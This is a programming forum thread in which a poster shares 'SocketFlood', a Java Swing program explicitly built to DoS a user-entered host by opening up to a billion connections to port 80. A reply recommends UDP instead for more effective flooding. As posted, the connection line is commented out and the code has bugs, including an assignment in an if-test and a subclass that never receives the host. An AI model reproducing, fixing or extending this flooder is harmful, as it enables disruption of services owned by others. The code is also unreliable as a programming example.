+ Reply to Thread
Results 1 to 4 of 4

Thread: SocketFlood.

  1. #1
    Paradox is offline Newbie
    Join Date
    Jul 2008
    Posts
    17
    Rep Power
    16

    SocketFlood.

    This basically sends so much connections to a host.

    SocketFlood.java
    Code:
    /*
     * SocketFlood.java
     * Main class for project.
     * Created by: Paradox
     * July 22, 2008
     */
    
    import java.net.Socket;
    import java.awt.BorderLayout;
    import java.awt.event.ActionEvent;
    import java.awt.event.ActionListener;
    import javax.swing.JButton;
    import javax.swing.JFrame;
    import javax.swing.JMenuBar;
    import javax.swing.JOptionPane;
    import javax.swing.JScrollPane;
    import javax.swing.JTextArea;
    import javax.swing.JTextField;
    import javax.swing.ScrollPaneConstants;
    
    public class SocketFlood implements ActionListener{
    
    	public Socket sock = null;
        public String host = "";//Host
        public int port = 80;// Port
        public int connections = 1000000000;// Connections it will send
        protected JFrame frame;
        public static Sock Sock;
        public boolean on = false;
        protected JScrollPane scrollPane;
        protected static JTextArea textArea;
        protected static JTextField textField;
        public JMenuBar menuBar;
        
        JButton Button1 = new JButton("Start");
        JButton Button2 = new JButton("Stop");
        JButton Button3 = new JButton("Set IP");
        
        private final static String newline = "\n";
        
        public static void main(String[] args)
    	{
            new SocketFlood();
    	}
        
        public SocketFlood() {
            loadGUI(true);
        }
        
        public void loadGUI(boolean load) {
        	 JFrame.setDefaultLookAndFeelDecorated(load);
             frame = new JFrame("SocketFlood! - Paradox");
             frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
             frame.setResizable(false);
             frame.setLayout(new BorderLayout());
             frame.setBounds(200, 200, 400, 300);
             menuBar = new JMenuBar();
             frame.add(menuBar, "North");
             menuBar.add(Button1);  menuBar.add(Button2);   menuBar.add(Button3);
             textArea = new JTextArea();
             textField = new JTextField();
             frame.add(textArea);
             frame.add(textField, "South");
             textField.addActionListener(this);
             Button1.addActionListener(this);
             Button2.addActionListener(this);
             Button3.addActionListener(this);
             JScrollPane scrollPane = new JScrollPane();
             scrollPane.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS);
             scrollPane.setAutoscrolls(false);
             scrollPane.setViewportView(textArea);
             frame.add(scrollPane);
             frame.setVisible(load);
             textArea.setEditable(false);
        }
        
        public void startDoS() {
            on = true;
            Sock = new Sock();
            (new Thread(Sock)).start();
        }
        
        public void actionPerformed(ActionEvent e) {
            	if(e.getSource() == Button1) {
            		startDoS();
            		textArea.append("DoS Started on host: "+host+newline);
            	} else if(e.getSource() == Button2) {
            		on = false;
            		textArea.append("DoS Stopped on host: "+host+newline);
            	} else if(e.getSource() == Button3) {
            		host = JOptionPane.showInputDialog("please enter the host you wish to DoS:", "");
            }
        }
    }
    Sock.java
    Code:
    public class Sock extends SocketFlood implements Runnable{
    	
    	public void run()
    	{
    		for(int i = 0; i < connections; i++)
    		{
    			if(on = true) {
    			try
    			{
    				//sock = new Socket(host, port);
    				System.out.println("Sent connection " + i + " to " + host + ": " + port);
    			} catch(Exception e) {
    				e.printStackTrace();
    				}
    	        }
    		}
    	}
    }

  2. CODECALL Circuit advertisement
    Join Date
    Always
    Posts
    Many

     
  3. #2
    Join Date
    May 2008
    Posts
    2,126
    Blog Entries
    1
    Rep Power
    33

    Re: SocketFlood.

    From what I read here, and I could be wrong because I don't know java that well.

    Is that you are trying to flood with TCP, which doesn't really work that well.

    You are much better off using UDP to flood.

  4. #3
    Prog4rammer's Avatar
    Prog4rammer is offline Newbie
    Join Date
    Jan 2010
    Location
    Gaza
    Posts
    14
    Rep Power
    0

    Re: SocketFlood.

    Can You Tell me more for the Flood I'm don't understanded .. ?

    Thanks

    Some Words Me : "♪●Software Engineer and Love Programming in Java and PHP under Ubuntu System ... ♪♥ "

  5. #4
    GMVResources's Avatar
    GMVResources is offline Learning Programmer
    Join Date
    Jun 2010
    Posts
    72
    Rep Power
    0

    Re: SocketFlood.

    Paradox since this is a tutorial I think you should explain the lines of the code in the forums or in comments in the actual coding.

+ Reply to Thread

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Tags for this Thread

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts